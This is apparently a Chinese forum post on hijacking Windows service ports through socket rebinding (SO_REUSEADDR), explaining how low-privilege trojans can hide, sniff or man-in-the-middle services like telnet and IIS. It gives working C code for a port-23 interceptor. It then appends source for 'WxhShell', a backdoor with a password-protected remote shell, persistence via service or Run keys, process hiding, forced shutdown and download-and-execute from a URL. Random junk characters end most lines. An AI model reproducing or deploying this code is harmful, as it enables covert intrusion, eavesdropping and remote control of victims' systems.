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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ne"?90~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5qd_>UHp  
,5\2C{  
  saddr.sin_family = AF_INET; KZrMf77=  
iF [?uF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4z9#M;q T  
CP]S-o}yd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k'@7ZH  
b\?7?g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ljYpMv.>xG  
aVppOxA  
  这意味着什么?意味着可以进行如下的攻击: # cN_y  
_)zmIB(}m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~&DB!6*  
a/QtJwIV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /UpD$,T|^|  
3`fJzS%O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +HOCVqx  
:WK"-v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e8AjO$49  
mvHh"NJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :Su#xI  
jD'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kqKj7L  
lh\ICN\O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #+K Kvk  
)D[ "M$ZA^  
  #include cBLR#Yu;O5  
  #include AXl!cgi  
  #include j{{~ZM  
  #include    {Ax)[<i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^)f{q)to  
  int main() ;-KA UgL2  
  { aNE9LAms  
  WORD wVersionRequested; PPoI>J  
  DWORD ret; %@}o'=[  
  WSADATA wsaData; GOy=p3mQ  
  BOOL val; *xE"8pN/  
  SOCKADDR_IN saddr; c=A(o  
  SOCKADDR_IN scaddr; Mw"xm9(Q  
  int err; pg~zUOY  
  SOCKET s; e2AN[Ar  
  SOCKET sc; Pz]bZPHn  
  int caddsize; $J QWfGwR  
  HANDLE mt; Iv$:`7|crX  
  DWORD tid;   q&XCX$N  
  wVersionRequested = MAKEWORD( 2, 2 ); 4M @ oj  
  err = WSAStartup( wVersionRequested, &wsaData ); ]d@^i)2LF  
  if ( err != 0 ) { 4F05(R8k  
  printf("error!WSAStartup failed!\n"); mje<d"bW  
  return -1; jM5_8nS&d  
  } =\~E n5  
  saddr.sin_family = AF_INET; @br@[RpB  
   ?HrK\f3wWO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lLuID  
de> ?*%<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =X-^YG3x  
  saddr.sin_port = htons(23); P?9nTG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u0m5JD0/  
  { $%7I:  
  printf("error!socket failed!\n"); 8tb6 gZz  
  return -1; M{`/f@z(  
  } ([:]T$0 #  
  val = TRUE; r<;l{7lY_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Yim{U:F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;i<$7MR.e  
  { ic%?uWN  
  printf("error!setsockopt failed!\n"); .6>  hD1'  
  return -1; i 8l./Yt/  
  } XB0a dp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j?EskT6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h ?uqLsRl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 06 QU  
Ho 3dsh)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) duX0Mc. 0P  
  { FH)t:!#  
  ret=GetLastError(); CzYGq  
  printf("error!bind failed!\n"); ;mEwQ  
  return -1; $o]r ]#B+  
  } :w@F?:C  
  listen(s,2); ^vJ"-{  
  while(1) 7OB%A&  
  { P @zz"~f7  
  caddsize = sizeof(scaddr);  }10\K  
  //接受连接请求 tbtI1"$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C>.e+V+':  
  if(sc!=INVALID_SOCKET) 9 |' |BC  
  { >; aCf#q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fJaubDxa  
  if(mt==NULL) J.#(gFBBl\  
  { ]b3/Es+  
  printf("Thread Creat Failed!\n"); {vs 4vS6  
  break; C\ tprnY  
  } l^.K'Q1~a  
  } $tI]rU  
  CloseHandle(mt); @.'z* |z  
  } Y[2Wt%2\6  
  closesocket(s); &e5(Djz8t  
  WSACleanup(); YRPm^kW  
  return 0; _w 5RK(  
  }   J , V  
  DWORD WINAPI ClientThread(LPVOID lpParam) pgT9hle/  
  { :z]}ZZ  
  SOCKET ss = (SOCKET)lpParam; ?AEd(_a!q  
  SOCKET sc; -;^;2#](g  
  unsigned char buf[4096]; j`O7=-  
  SOCKADDR_IN saddr; OB(pIzSe  
  long num; + :Vrip  
  DWORD val; /D<"wF }@J  
  DWORD ret; _5mc('  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P}0*{%jB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F*M|<E=  
  saddr.sin_family = AF_INET; moMYdArj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L'l F/qe^  
  saddr.sin_port = htons(23); #/|75 4]]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zrs<#8!Y_!  
  { (:5G#?6,  
  printf("error!socket failed!\n"); 9qKzS<"h  
  return -1; [QT 1Ju64  
  } `-_N@E1'>  
  val = 100; !YiuwFt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |g%mP1O  
  { ;imRh'-V6  
  ret = GetLastError(); EeB ]X24  
  return -1; 4e +~.5r@i  
  } tAjx\7IX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b.b@bq$1  
  { 2jl)mL  
  ret = GetLastError(); LOr|k8tL%  
  return -1; ,vV ]"f  
  } 3o*FPO7?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6k"P&AD  
  { c"7j3/p  
  printf("error!socket connect failed!\n"); V  }>n  
  closesocket(sc); RsW9:*R  
  closesocket(ss); \ p4*$  
  return -1; -?<4Og[^  
  } V >Hf9sZ  
  while(1) Q.+|xwz  
  { [$\z'}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mffIf1f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t|V0x3X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T$KF< =  
  num = recv(ss,buf,4096,0); C)Jn[/BD  
  if(num>0) k;I  &.H  
  send(sc,buf,num,0); EATu KLP\  
  else if(num==0) Q6IQV0{p  
  break; ,LZX@'5  
  num = recv(sc,buf,4096,0); JqCc;Cbd  
  if(num>0) B6] <G-  
  send(ss,buf,num,0); aQ#qRkI  
  else if(num==0) I;7nb4]AmF  
  break; >xu [q\:"  
  } a{SBCy  
  closesocket(ss); B&Y_2)v  
  closesocket(sc); 2 -Xdoxw  
  return 0 ; #eK=  
  } ow6*Xr8eQ  
Q6 ?z_0  
ar.AL'  
========================================================== FB:<zmwR  
#z!^ <,  
下边附上一个代码,,WXhSHELL aRJcSV  
5\Fz!  
========================================================== {_#yz\j  
hXn3,3f3oZ  
#include "stdafx.h" YE}s  
@]HXP_lyD/  
#include <stdio.h> w!SkWS b,~  
#include <string.h> TZRcd~5$  
#include <windows.h> @ O>&5gB1u  
#include <winsock2.h> 8' K0L(3[  
#include <winsvc.h> w,1Ii}d9  
#include <urlmon.h> }P9Ap3?  
s '?GH  
#pragma comment (lib, "Ws2_32.lib") .>pgU{C`!  
#pragma comment (lib, "urlmon.lib") zf[`~g  
8FkFM^\1L  
#define MAX_USER   100 // 最大客户端连接数 &v!WVa?  
#define BUF_SOCK   200 // sock buffer pV(lhDNoQ  
#define KEY_BUFF   255 // 输入 buffer KCuG u}  
B*1W`f  
#define REBOOT     0   // 重启 ZJ,cQ+fn  
#define SHUTDOWN   1   // 关机 Thr*^0$C  
7@}$|u:JUF  
#define DEF_PORT   5000 // 监听端口 8K9$,Ii  
gNpJ24QK  
#define REG_LEN     16   // 注册表键长度 ;WU<CKYG*  
#define SVC_LEN     80   // NT服务名长度 rw7_5l  
AeuX Qt  
// 从dll定义API }(XdB:C8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kJQ#Wz|z]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q<#>HjC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vuQ%dDxI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -e u]:4  
!xIm2+:(  
// wxhshell配置信息 ;8{cA_&  
struct WSCFG { w}R~C   
  int ws_port;         // 监听端口 $gpG%Qj  
  char ws_passstr[REG_LEN]; // 口令 ]bi)$j.9s  
  int ws_autoins;       // 安装标记, 1=yes 0=no F^k.is  
  char ws_regname[REG_LEN]; // 注册表键名 xI*#(!x"G  
  char ws_svcname[REG_LEN]; // 服务名 DI|:p!Nx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B;K`q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IJIzXU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8}e,%{q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ul f2vD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6t'l(E +  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AJ^#eY5  
C1EtoOv K  
}; 76cG90!Z  
k0-G$|QgIp  
// default Wxhshell configuration ra N)8w}-  
struct WSCFG wscfg={DEF_PORT, qmy%J  
    "xuhuanlingzhe", z*$q8Z&7rg  
    1, ,m<H-gwa  
    "Wxhshell", mqff]m  
    "Wxhshell", K+=+?~  
            "WxhShell Service", E\nv~Y?SG  
    "Wrsky Windows CmdShell Service", X>YsQrK(ig  
    "Please Input Your Password: ", 0c^>eq]  
  1, X[gn+6WB%  
  "http://www.wrsky.com/wxhshell.exe", &k7;DO  
  "Wxhshell.exe" 4)>FS'=  
    }; ._9 n~=!  
R9rj/Co  
// 消息定义模块 G rmzkNlN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kql0J|P?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YXurYwV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Em 6Qe  
char *msg_ws_ext="\n\rExit."; Nc Pgq?3p  
char *msg_ws_end="\n\rQuit."; Wo~vhv$E  
char *msg_ws_boot="\n\rReboot..."; iJ' xh n  
char *msg_ws_poff="\n\rShutdown..."; "1`Oh<={b  
char *msg_ws_down="\n\rSave to "; l1U=f]  
JO<wK  
char *msg_ws_err="\n\rErr!"; jOpcV|2  
char *msg_ws_ok="\n\rOK!"; 9+s.w25R  
ml|W~-6l  
char ExeFile[MAX_PATH]; Cv ejb+  
int nUser = 0; ?Iyo9&1&  
HANDLE handles[MAX_USER]; fb~=Y$|  
int OsIsNt; 54-#QIx|  
oh"O07  
SERVICE_STATUS       serviceStatus; 65h @}9,U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {U<xdG  
`U#55k9^5  
// 函数声明 Z+j\a5d?,  
int Install(void); r;L>.wl*I  
int Uninstall(void); ^EG\iO2X  
int DownloadFile(char *sURL, SOCKET wsh); 7@lS.w\#-  
int Boot(int flag); ZOXIT(mg  
void HideProc(void); /&F,V+x  
int GetOsVer(void); W>VP'vn}  
int Wxhshell(SOCKET wsl); :1XtvH  
void TalkWithClient(void *cs); :l7U>~ o  
int CmdShell(SOCKET sock); lv vs%@b>  
int StartFromService(void); rqP FU6  
int StartWxhshell(LPSTR lpCmdLine); mC?i}+4>4R  
K{b(J Nd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &[NG]V!Oc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8t@p @Td|  
"H -"  
// 数据结构和表定义 bl_H4  
SERVICE_TABLE_ENTRY DispatchTable[] = y2]-&]&  
{ ydw)mT44K  
{wscfg.ws_svcname, NTServiceMain}, X U/QA [K  
{NULL, NULL} {u1V|q  
}; aL J(?8M@  
)ZrS{vY  
// 自我安装 :=%0Mb:  
int Install(void) t#%R q  
{ '>$]{vQ3  
  char svExeFile[MAX_PATH]; E0%~! b  
  HKEY key; s&\I=J.  
  strcpy(svExeFile,ExeFile); B+^(ktZp@  
\AL f$88>@  
// 如果是win9x系统,修改注册表设为自启动 h~{aGo  
if(!OsIsNt) { N]KxAttt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OGl$W>w1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yaq'Lt`  
  RegCloseKey(key); A)%A!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [,2|Flf e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bAKiq}xG%i  
  RegCloseKey(key); Ig3;E+*>  
  return 0; :qChMU|Y6  
    } d*)CT?d&  
  } nhIa175'  
} kJW N.  
else { %dQxJMwj  
+f*OliMD  
// 如果是NT以上系统,安装为系统服务 ^c:Fy+fb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); meN2ZB?Y  
if (schSCManager!=0) Z|%_oR~b|  
{ ;<G=M2  
  SC_HANDLE schService = CreateService T3`ludm^u  
  ( G8Nt 8U~  
  schSCManager, nqwAQhzy(  
  wscfg.ws_svcname, 6s0_#wZC  
  wscfg.ws_svcdisp, c@v{`d  
  SERVICE_ALL_ACCESS, cZ)}LX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DW)2 m;  
  SERVICE_AUTO_START, 22f`LoM  
  SERVICE_ERROR_NORMAL, b~nAPY6  
  svExeFile, OKF tl  
  NULL, /-#I_>:8'  
  NULL, Sz H"  
  NULL, &\apwD  
  NULL, j"AU z)x  
  NULL r}uz7}z %"  
  ); z25m_[p2  
  if (schService!=0) wywQ<n  
  { Vp>|hj po  
  CloseServiceHandle(schService); G7N| :YK  
  CloseServiceHandle(schSCManager); sP^R/z|Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [s&$l G!  
  strcat(svExeFile,wscfg.ws_svcname); V+I|1{@i0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t |~YEQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o.q/O)'V u  
  RegCloseKey(key); Qt vYv!  
  return 0; [HCAmnb  
    } detwa}h[0  
  } f4L`.~b'hb  
  CloseServiceHandle(schSCManager); B<C*  
} KiJT!moB  
} O(+phRwJ  
4lBU#V7  
return 1; D@!=d@V.  
} wm+/e#'&  
?_I[,N?@41  
// 自我卸载 NJNJjdD>  
int Uninstall(void) J!:SPQ  
{ eds26(  
  HKEY key; #> j.$2G>  
i\W/C  
if(!OsIsNt) { >@"Oe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ss5 m/i7  
  RegDeleteValue(key,wscfg.ws_regname); da (km+  
  RegCloseKey(key); @:KJYm[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 26xXl|I  
  RegDeleteValue(key,wscfg.ws_regname); /="~gq@  
  RegCloseKey(key); {dmj/6Lc  
  return 0; uL[.ND2._&  
  } ei rzYt  
} 4C FB"?n0  
} Q'%PNrN  
else { AE} )o)B  
{'U Rz[g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :>+s0~  
if (schSCManager!=0) G#MdfKH  
{ gdkwWoN .  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Unsogd  
  if (schService!=0) |Pg@M  
  { {#)0EzV6  
  if(DeleteService(schService)!=0) { 6 ~ >FYX  
  CloseServiceHandle(schService); e^O(e  
  CloseServiceHandle(schSCManager); kYLM&&h  
  return 0; 8>7& E-  
  } 9;veuX#(  
  CloseServiceHandle(schService); 1AU#%wIEP  
  } cq$i  
  CloseServiceHandle(schSCManager); QcgfBsv96  
} J_FNAdQt  
} up'Tit  
x:nKfY5  
return 1; lGVEpCS}  
} L(U"U#QZ  
F4K0) ;  
// 从指定url下载文件 /Ml.}7&  
int DownloadFile(char *sURL, SOCKET wsh) v'e[GB 0  
{ ;X?mmv'  
  HRESULT hr; clk[/'1  
char seps[]= "/"; ,mj@sC>  
char *token; ~q~MoN<R  
char *file; w+N> h;j  
char myURL[MAX_PATH]; X=> =5'  
char myFILE[MAX_PATH]; %*\es7m}  
S%Us5`sd  
strcpy(myURL,sURL); Z ,EvQ8i  
  token=strtok(myURL,seps); / 4lvP  
  while(token!=NULL) g H G  
  { NOp609\^  
    file=token; V =-WYu  
  token=strtok(NULL,seps); aJcf`<p   
  } J&T.(  
'{(UW.Awo  
GetCurrentDirectory(MAX_PATH,myFILE); 0pbtH8~  
strcat(myFILE, "\\"); ;6!Pwb;hY  
strcat(myFILE, file); c_V;DcZ  
  send(wsh,myFILE,strlen(myFILE),0); :hM/f  
send(wsh,"...",3,0); G>q(iF'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ud!4"<C_  
  if(hr==S_OK) 7[.6axL  
return 0; ` P9XqWr  
else K3=3~uY  
return 1; 6qp%$>$Vt;  
7P9=)$(EH  
} 1Uqu> '  
,dx3zBI  
// 系统电源模块 PK"c4>q  
int Boot(int flag) w08?DD]CDt  
{ C[%OkPR,H  
  HANDLE hToken; V<j.xd7  
  TOKEN_PRIVILEGES tkp; #H0dZ.$b0  
65Cg]Dt71  
  if(OsIsNt) { R%'^gFk 8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PP!SK2u "L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t1%_DPD%W  
    tkp.PrivilegeCount = 1; qs QNjt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +Xemf?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OD5m9XS  
if(flag==REBOOT) { DS'n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~}+Hgi  
  return 0; &0`) Q  
} {>F7CT'G6  
else { ^g`&7tX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +gLPhX:`  
  return 0; ? 8LXP  
} 4vwTs*eB `  
  } Rb{U+/gq  
  else { X#e1KZ  
if(flag==REBOOT) { MzL1Bh!M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Cm\6tD  
  return 0; 'CN|'W)g7  
} }|XtypbL  
else { $bsG]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]X^rU`":  
  return 0; t8dm)s[r8  
} PoT`}-9  
} |P%DkM*X  
D &/L:  
return 1; z5r$M  
} TqddOp  
y8rm  
// win9x进程隐藏模块 /<]{KI  
void HideProc(void) dx+hhg\L  
{ $]/Zxd  
jb^N|zb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oDU ;E  
  if ( hKernel != NULL ) g2T -TG'd  
  { [!U?}1YQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .;*s`t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); - h9?1vc7  
    FreeLibrary(hKernel); wy}k1E'M  
  } %!PM&zV  
9t#S= DP  
return; Y2?.}ZO  
} 9s_,crq5  
#jxe%2'Ot  
// 获取操作系统版本 q2et|QCru  
int GetOsVer(void) fOMvj%T@2  
{ XGkkB  
  OSVERSIONINFO winfo; cwL1/DGDB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \ 5,MyB2/`  
  GetVersionEx(&winfo); ~PHB_cyth  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B!\;/Vk  
  return 1; 7%{ |  
  else *7wAkljP  
  return 0; =F;.l@:  
} :bC40@  
Z>^pCc\lH  
// 客户端句柄模块 `2PLWo  
int Wxhshell(SOCKET wsl) Ed ,D8ND  
{ 4M^G`WA}t9  
  SOCKET wsh; D7S'*;F  
  struct sockaddr_in client; `8Lo{P  
  DWORD myID; Z%n(O(^L  
ZE/o?4k*c1  
  while(nUser<MAX_USER) FTeu~<KpM  
{ UF@XK">  
  int nSize=sizeof(client); P'O#I}Dmw<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W[^qa5W<FB  
  if(wsh==INVALID_SOCKET) return 1; C|?o*fQ  
{U_$&f9s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R?p00  
if(handles[nUser]==0) {4-[r#R<M  
  closesocket(wsh); Yp:KI7  
else ($~RoQ=0S  
  nUser++; Y)}Rb6qGW  
  } s$a09x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dS5a  
l}lIi8  
  return 0; w&%~3Cz.  
} ubmrlH\d  
fa<v0vb+  
// 关闭 socket eEn;!RS)  
void CloseIt(SOCKET wsh) V}zEK0n(6  
{ p+Y>F\r&w  
closesocket(wsh); <dvy"Dx   
nUser--; + Q6l*:<|c  
ExitThread(0); Zw~+Pb  
} uy}%0vLo  
`3Uj{w/Q:L  
// 客户端请求句柄 yOwA8^q  
void TalkWithClient(void *cs) c~v~2DM  
{ ?Oc{bF7  
Ck /F9(  
  SOCKET wsh=(SOCKET)cs; 2~t[RY  
  char pwd[SVC_LEN];  ]$,UPR/3  
  char cmd[KEY_BUFF]; UA yC.$!  
char chr[1]; m{7(PHpw  
int i,j; Ogp"u b8  
\~5C7^_  
  while (nUser < MAX_USER) { EMc;^ d  
DK oN}c  
if(wscfg.ws_passstr) { "kA*Vc#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m-jHze`D3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E~AjK'Z  
  //ZeroMemory(pwd,KEY_BUFF); D91e\|]  
      i=0; 3q?\r` a  
  while(i<SVC_LEN) { T]?n)L,2  
"hy.GWF|*  
  // 设置超时 0pSmj2/,.  
  fd_set FdRead; @GvztVYo  
  struct timeval TimeOut; A?@@*$&  
  FD_ZERO(&FdRead); ZZyDG9a>7  
  FD_SET(wsh,&FdRead); j6g[N4xr  
  TimeOut.tv_sec=8; A mwa)  
  TimeOut.tv_usec=0; {H{X[p8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #-GJ&m8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XduV+$ 03  
E(i[o?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EFc-foN  
  pwd=chr[0]; o'$jNciOW  
  if(chr[0]==0xd || chr[0]==0xa) { yA3wtm/?  
  pwd=0; 8Y#\xzod  
  break; DU=dLE6-P;  
  } Tc+gdo>G  
  i++; 2"-S<zM  
    } ~%2pp~1 K  
sIv)'  
  // 如果是非法用户,关闭 socket ]K*8O <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sQ 8s7l0D  
} 7 K{Nb  
84{Q\c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A%2:E^k(s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y1arX^Zb  
?}B:  
while(1) { 8L1ohj  
5H9r=a  
  ZeroMemory(cmd,KEY_BUFF); C -?!S  
:#lIx%l  
      // 自动支持客户端 telnet标准   X@|&c]]  
  j=0; d O~O |Xsb  
  while(j<KEY_BUFF) { fkSwD(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ILic.@st  
  cmd[j]=chr[0]; GAc{l=vT'  
  if(chr[0]==0xa || chr[0]==0xd) { 0W%@gs5d&  
  cmd[j]=0; > MH(0+B*  
  break; @;?T~^nGj  
  } dHk{.n^p  
  j++; GTJ{h  
    } {bPV)RL:  
HQ9X7[3  
  // 下载文件 W<<9y  
  if(strstr(cmd,"http://")) { &k8vWXMGk%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1>Q'R  
  if(DownloadFile(cmd,wsh)) |G/7_+J6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2m<CSv!D  
  else :ah 5`nmPO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Ym   
  } q-Qxbg[>e  
  else { P6Mhbmt9*  
7FF-*2@  
    switch(cmd[0]) { O0PJ6:9P  
  m5D"A D  
  // 帮助 9Ok9bC'?8@  
  case '?': { J4YBqp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :ZDMNhUl &  
    break; ph2$oO 6,  
  } Oi} T2I  
  // 安装 &Sp -w?kM  
  case 'i': { nP UqMn'  
    if(Install()) k'X;ruQ:tF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  >Ng)k]G  
    else dz[ bm< T7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1w"8~Z:UXV  
    break; g`>og^7g  
    } R3X{:1{j  
  // 卸载 {w <+_++  
  case 'r': { pZZf[p^s|  
    if(Uninstall()) vJ`.iRU|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<Km 3  
    else x|KWyfOS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ac|5. ?|N  
    break; gip/(/NX  
    } |~<N -~.C  
  // 显示 wxhshell 所在路径 rbZ[!LA  
  case 'p': { C;~*pMAYe  
    char svExeFile[MAX_PATH]; $Q+s/4\  
    strcpy(svExeFile,"\n\r"); wLV~F[:  
      strcat(svExeFile,ExeFile); ~l~Tk6EM  
        send(wsh,svExeFile,strlen(svExeFile),0); B[9 (FRX  
    break; PNeh#PI 6)  
    } 0W^dhYO  
  // 重启 {k(eNr,  
  case 'b': { A*tKF&U5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2ij# H ;  
    if(Boot(REBOOT)) w-$[>R[hw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1=2^90  
    else { ~}DQT>7$  
    closesocket(wsh); >`jU`bR@  
    ExitThread(0); T5O _LCIws  
    } @InZ<AW>|  
    break; !Ss HAE|  
    } l =IeJh  
  // 关机 *V k ^f+5  
  case 'd': { &2I*0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _KD5T4FZR  
    if(Boot(SHUTDOWN)) 4l8BQz}sb  
